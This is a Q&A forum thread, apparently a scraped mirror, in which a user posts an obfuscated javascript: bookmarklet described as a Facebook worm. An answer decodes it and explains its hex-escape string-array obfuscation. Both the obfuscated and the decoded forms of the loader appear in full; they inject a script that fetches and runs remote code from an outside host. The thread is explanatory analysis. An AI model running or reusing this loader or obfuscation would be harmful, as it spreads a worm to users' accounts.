How to encode this script?
I have recently found this srcipt, which is basically a facebook "worm", so dont run it. All I want to know is how the creator went about encoding it. Any help?
javascript:var _0x8dd5=["\x73\x72\x63","\x73\x63\x72\x69\x70\x74","\x63\x7 2\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x 68\x74\x74\x70\x3A\x2F\x2F\x75\x67\x2D\x开发者_JAVA百科72\x61\x64 \x69\x6F\x2E\x63\x6F\x2E\x63\x63\x2F\x66\x6C\x6F\x 6F\x64\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\ x68\x69\x6C\x64","\x62\x6F\x64\x79"];(a=(b=document)[_0x8dd5[2]](_0x8dd5[1]))[_0x8dd5[0]]=_0x8dd5[3];b[_0x8dd5[5]][_0x8dd5[4]](a); void (0);
The author used various methods of 'obfuscation', that is, various techniques to make the code visually confusing and hard to understand.
_0x8dd5
is an array of strings:
['src', 'script', 'createElement',
'http://ug-radio.co.cc/flood.js', 'appendChild', 'body']
The rest of the code uses property names from the strings above, such that the un-obfuscated code is actually
a = document.createElement('script');
a.src = 'http://ug-radio.co.cc/flood.js';
document.body.appendChild(a);
Therefore, all the author did to obfuscate the code is to reference all property names as strings from an array. The array that contains the strings simply uses the \xNN
hexadecimal escape notation, making it less obvious as to what those strings are.
The author does this by finding the hexadecimal values of the bytes that form the strings in the current encoding. Then, for each byte in the strings, he adds \xNN
, where NN
is the hexadecimal byte value. When the JavaScript interpreter runs the script, the parser automatically replaces these escapes with their respective characters.
精彩评论